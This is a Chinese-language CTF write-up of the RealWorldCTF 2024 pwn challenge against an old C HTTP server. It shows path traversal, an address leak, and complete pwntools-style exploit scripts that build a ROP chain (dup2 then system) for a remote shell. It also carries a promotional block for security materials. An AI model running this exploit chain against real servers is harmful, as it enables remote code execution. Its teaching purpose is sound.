深入解析RealWorldCTF 2024体验赛PWN方向题目

前言

本报告旨在对RealWorldCTF 2024体验赛中的Pwn方向题目------"Be-an-HTPPd-Hacker"进行深入解析和讲解。该题目涉及一个十一年前的项目,其基于C语言实现了HTTP协议。我们将通过对该协议进行栈溢出攻击,探索真实世界中的攻击手法,并从中学习更多有用的攻击技巧,以提升我们的安全水平。通过理解攻击原理和方法,我们能够更好地理解安全防御的重要性,并为未来的安全工作做好准备。本报告将详细介绍攻击过程,希望能为读者提供深入而有价值的学习体验。

搜索字符串,github找源码

从IDA中,shift+F12提取,得到字符串,在github进行搜索能够得到源码在这:

github.com/bnlf/httpd/...

具体构造

构造的代码如下,也就是方法 地址 加协议:

sql 复制代码
 method, uri, vProtocol

POST [www.baidu.com](http://www.baidu.com/) xxx

源码如下:

sql 复制代码
request parseRequest(char buffer[]) {    char *ptr = buffer;    char method[MAXLINE], uri[MAXLINE], vProtocol[MAXLINE];    request req;        sscanf(ptr, "%s %s %s", method, uri, vProtocol); ​    // Somente GET ou POST    if(strcasecmp(method, "GET") == 0)         req.method = "GET";    else if (strcasecmp(method, "POST") == 0)         req.method = "POST";    else {        req.method = "INVALID";        req.vProtocol = "INVALID";        req.uri[0] = '\0';        return req;    }​    // Sera testado futuramente. Por enquanto aceita que é um uri valido    req.uri = uri;        if(strcasecmp(vProtocol, "HTTP/1.0") == 0)        req.vProtocol = "HTTP/1.0";    else if (strcasecmp(vProtocol, "HTTP/1.1") == 0)        req.vProtocol = "HTTP/1.1";    else        req.vProtocol = "HTTP/1.1"; // se nao especificado​    return req;}​

GET路径穿越

其中get请求,经过简单尝试和逆向发现存在路径穿越,其直接对WWW进行拼接读取。

ini 复制代码
    else if (res.status == 200 ) // Ok    {         return sendFile(req, res,connfd);    }

阅读源码发现如上。

路径穿越漏洞(Path Traversal Vulnerability)是一种常见的安全漏洞,通常发生在Web应用程序或文件系统中。它允许攻击者访问他们没有权限访问的文件或目录,通过修改文件路径来绕过应用程序的访问控制机制。

不过flag没有可读权限,只能通过readflag来执行。

scss 复制代码
from evilblade import *​context(os='linux', arch='amd64')# context(os='linux', arch='amd64', log_level='debug')#GET /index.html HTTP/1.1setup('./pwn')libset('./libc.so.6')rsetup('127.0.0.1',33333)# rsetup('121.40.246.203',30594)# pause()payload = 'GET ' + '/img/../../../etc/profile  HTTP/1.0\x00'# payload = b'POST /form-example.html/../img/../../../add HTTP/1.1\r\n'pause()sl(payload)​ia()​

这是路径穿越读/etc/profile。

POST栈溢出

其实不是源码也分析的差不多了,就是不太理解这个&=的分割,还有会存在一个奇怪的堆溢出,堆溢出主要是因为malloc大小引起的,在计算

arduino 复制代码
    char *line = (char*) malloc(end-start);

中,end出现小于start的情况。我们可以输入多个\n来使得heap足够大,避免溢出的情况。

代码可以看到:

css 复制代码
int sendPostMessage(request req, response res, int connfd, char *linePost){​    char buffer[MAXLINE];        //Prepara cabecalho HTML    sprintf(buffer, "<html><head><title>Submitted Form</title></head>");        //Cria body    strcat(buffer, "<body><h1>Received variables</h1><br><table>");​    strcat(buffer, "<tr><th>Variables</th><th>Values</th></tr>");        char * pch;    char temp[250];​    pch = strtok (linePost,"&=");​    while (pch != NULL)    {        sprintf(temp, "<tr><td>%s</td>", pch);        strcat(buffer, temp);​        pch = strtok (NULL, "&=");​        sprintf(temp, "<td>%s</td></tr>", pch);        strcat(buffer, temp);​        pch = strtok (NULL, "&=");​    }​    //Fecha body e html    strcat(buffer, "</table></body></html>");​    sendHeader(connfd, req, res, "OK", "text/html");​    write(connfd, buffer, strlen(buffer));​    return 0;}

也就是会根据&或者=分割之后,进行连接到temp。

帮助网安学习,全套资料S信领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC漏洞分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

其中linepost如下:

perl 复制代码
void httpd(int connfd) {​                         char buffer[MAXLINE]; // Buffer dos dados de input    char fileBuffer[MAXLINE];    request req; // Pedido do cliente    response res; // Resposta do servidor    struct stat st;    int n;    int sizeContent = -1;​    // Le o que está vindo no socket    n=read(connfd, buffer, MAXLINE);        int i = strlen(buffer);    char options[MAXLINE];    int statusRead = 0;    strcpy(options, buffer);​    while(statusRead == 0)    {        if((options[i-3] == '\n' && options[i-1] == '\n') || options[i-1] != '\n')        {            statusRead = 1;        }        else        {            n=read(connfd, options, MAXLINE);            //strcat(buffer, options);            //printf("%s\n", buffer);            i = strlen(options);​            if(options[0] == '\r' && options[1] == '\n' && n == 2)                statusRead = 1;        }    }​    // Faz o parse da requisicao     req = parseRequest(buffer);​    char *linePost;​    //Encontra no buffer o tamanho do conteudo      if(strcmp(req.method, "POST") ==0)    {        linePost = getLastLineRead(buffer);    }   //......

char *getLastLineRead(char *buffer) {​    int numLines = 0;    int start = 0;    int end = 0;    int bufSize = strlen(buffer);        int i = 0;    int j = 0;​    for (i=0;i<bufSize;i++) {        if (buffer[i]=='\n') {            numLines++;        }    }​    int *vetPositionLine = (int*) malloc(numLines);       for (i=0;i<bufSize;i++) {        if (buffer[i]=='\n') {            vetPositionLine[j] = i;//出现回车的地方            j++;                    }    }​    start = vetPositionLine[numLines-3];    end = vetPositionLine[numLines-1];          char *line = (char*) malloc(end-start);    strncpy(line,buffer+end,bufSize-end);​    return line;}

就是说当他会把\n处作为起始地址,然后把后面的内容复制到line,这样就可以泄漏地址了!

使用exp:

scss 复制代码
from evilblade import *​context(os='linux', arch='amd64')​setup('./pwn')libset('./libc.so.6')rsetup('127.0.0.1',33333)​payload = b'POST '+ b'A'*3982 + b'\n'pause()sl(payload)​ia()
  • 调试方法:执行exp后,用ps -ef | grep 'httpd'之后找到最新的进程用sudo gdb -p PID即可。

或者直接使用命令:sudo gdb -p $(pgrep -n -f './httpd 12345')

最后会从buf+你输入的数据长度,取一个数据写到heap中,下次取出来作参数。

主要对此处进行断点观察。

可以看到:

由此可以泄漏出libc甚至其他了。

使用脚本:

scss 复制代码
from evilblade import *​context(os='linux', arch='amd64')​setup('./pwn')libset('./libc.so.6')rsetup('127.0.0.1',33333)payload = b'POST '+ b'A'*3982 + b'\n'sl(payload)​ru("Values</th></tr><tr><td>")stack = u32(rv(4))dx(stack)ld = u32(rv(4))-0xc0cdx(ld)libc = u32(rv(4))-2324400dx(libc)​ia()

泄漏得到:

csharp 复制代码
​---------------your stack is >>> 0xff9c9f0a---------------​---------------your ld is >>> 0xedf40000---------------​---------------your libc is >>> 0xedcca000---------------

构造ROP

从这个部分可以发现,会将原本的内容根据&=分割,然后加上之类的字符串,使得字符串长度变大,会导致栈溢出。那么我们根据前面得到的基地址,和这个部分漏洞进行ROP构造,从而getshell。

arduino 复制代码
    char * pch;    char temp[250];​    pch = strtok (linePost,"&=");while (pch != NULL){    sprintf(temp, "<tr><td>%s</td>", pch);    strcat(buffer, temp);​    pch = strtok (NULL, "&=");​    sprintf(temp, "<td>%s</td></tr>", pch);    strcat(buffer, temp);​    pch = strtok (NULL, "&=");​}

做以下构造,经过多次尝试终于得到了控制返回地址为xxxx:

scss 复制代码
from evilblade import *​context(os='linux', arch='amd64')​setup('./pwn')libset('./libc.so.6')​rsetup('127.0.0.1',33333)payload = b'POST '+ b'A='*1850​#test= cyclic(0x700).decode()#modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))])#d(modified_test)​payload = b'POST / A\n'+ b"A"*2400 + b"\n"payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"payload += b"=" + p32(0xeb029050)*10+ b"xxxx" + b"="d(payload)dpx('len',len(payload))pause()sd(payload)

其中xxxx为任意地址,可以返回!

由于 sprintf的原因,不能输入\x00和\n之类的作为rop,我这里采取加减法的方式进行绕过,先输入不包含0和0a的字符,后续根据加减恢复到我们需要的字符。

搜索有:

css 复制代码
pwndbg> search -4 0x11111111Searching for value: b'\x11\x11\x11\x11'libc.so.6       0xf0ca28f4 0x11111111libc.so.6       0xf0ca2a08 0x11111111libc.so.6       0xf0ca2a0c 0x11111111​计算得到:λ ~/ pythonPython 3.11.6 (main, Nov 14 2023, 09:36:21) [GCC 13.2.1 20230801] on linuxType "help", "copyright", "credits" or "license" for more information.>>> hex(0xf0ca28f4 -0xf0af1000)'0x1b18f4'#这是libc偏移>>> hex(0x100000000-0x11111111)'0xeeeeeeef'>>>

那么我们用以上作为差值计算,其中0x11111111+0xeeeeeeef相加等于0。

构造的ROP如下:

scss 复制代码
push_esi = p32(libc+0x00061c0d) # push esi ; retnop_ret = p32(libc+0x0002fce8) # nop ; retread = p32(symoff("read",libc))pop_ebx = p32(0x0002c01f+libc) # pop ebx ; retadd_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret)pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret)add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret)​# dup2($ebx,$ecx)rop =  pop_esi + dup22rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)rop += pop_ecx_eax + p32(0xeeeeeeef)*2rop += add_ecx #$ecx = 0rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)rop += add_ebx #$ebx = 4rop += push_esi​rop += pop_esi + dup22rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2rop += add_ecx #$ecx=1rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)rop += add_ebx #$ebx = 4rop += push_esirop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)if b"=" in rop or b"\x00" in rop:    print("stop!")    pause()​payload = b'POST '+ b"A"*2400 + b"\n"payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"payload += b"=" + (nop_ret)*10payload += roppayload += b"="​

完整exp如下:

scss 复制代码
from evilblade import *​context(os='linux', arch='amd64')​setup('./pwn')libset('./libc.so.6')​rsetup('127.0.0.1',33333)payload = b'POST '+ b'A'*3982 + b'\n'sl(payload)​ru("Values</th></tr><tr><td>")stack = u32(rv(4))-0x1ed0adx(stack)ld = u32(rv(4))-0xc0cdx(ld)libc = u32(rv(4))-2324400dx(libc)​close()rsetup('127.0.0.1',33333)payload = b'POST '+ b'A='*1850 ​#test= cyclic(0x700).decode()#modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))])#d(modified_test)​​sub_eax_ecx = p32(libc + 0x0018b0f8) # sub eax, ecx ; retpush_eax = p32(libc + 0x00036a7d) # push eax ; retpop_ecx_eax = p32(libc + 0x001280f4) # pop ecx ; pop eax ; retdup22 = p32(symoff("dup2",libc)+0xe)push_edx = p32(libc+0x00192ac8) # push edx ; ret pop_edx = p32(libc+0x00037375) # pop edx ; retpop_esi = p32(libc+0x00021479) # pop esi ; retpush_esi = p32(libc+0x00061c0d) # push esi ; retnop_ret = p32(libc+0x0002fce8) # nop ; retread = p32(symoff("read",libc))pop_ebx = p32(0x0002c01f+libc) # pop ebx ; retadd_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret)pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret)add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret)# dup2($ebx,$ecx)rop =  pop_esi + dup22rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)rop += pop_ecx_eax + p32(0xeeeeeeef)*2rop += add_ecx #$ecx = 0rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)rop += add_ebx #$ebx = 4rop += push_esi​rop += pop_esi + dup22rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2rop += add_ecx #$ecx=1rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)rop += add_ebx #$ebx = 4rop += push_esirop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)if b"=" in rop or b"\x00" in rop:    print("stop!")    pause()​payload = b'POST '+ b"A"*2400 + b"\n"payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"payload += b"=" + (nop_ret)*10payload += roppayload += b"="​​d(payload)dpx('len',len(payload))dpx("begin",uu64(pop_esi))dpx("nop",uu64(nop_ret))dx(stack)pause()sd(payload)​ia()

攻击结果:

相关推荐
一个处女座的程序猿O(∩_∩)O1 小时前
小型 Vue 项目,该不该用 Pinia 、Vuex呢?
前端·javascript·vue.js
hackeroink5 小时前
【2024版】最新推荐好用的XSS漏洞扫描利用工具_xss扫描工具
前端·xss
迷雾漫步者6 小时前
Flutter组件————FloatingActionButton
前端·flutter·dart
向前看-7 小时前
验证码机制
前端·后端
燃先生._.8 小时前
Day-03 Vue(生命周期、生命周期钩子八个函数、工程化开发和脚手架、组件化开发、根组件、局部注册和全局注册的步骤)
前端·javascript·vue.js
高山我梦口香糖9 小时前
[react]searchParams转普通对象
开发语言·前端·javascript
m0_748235249 小时前
前端实现获取后端返回的文件流并下载
前端·状态模式
m0_748240259 小时前
前端如何检测用户登录状态是否过期
前端
black^sugar9 小时前
纯前端实现更新检测
开发语言·前端·javascript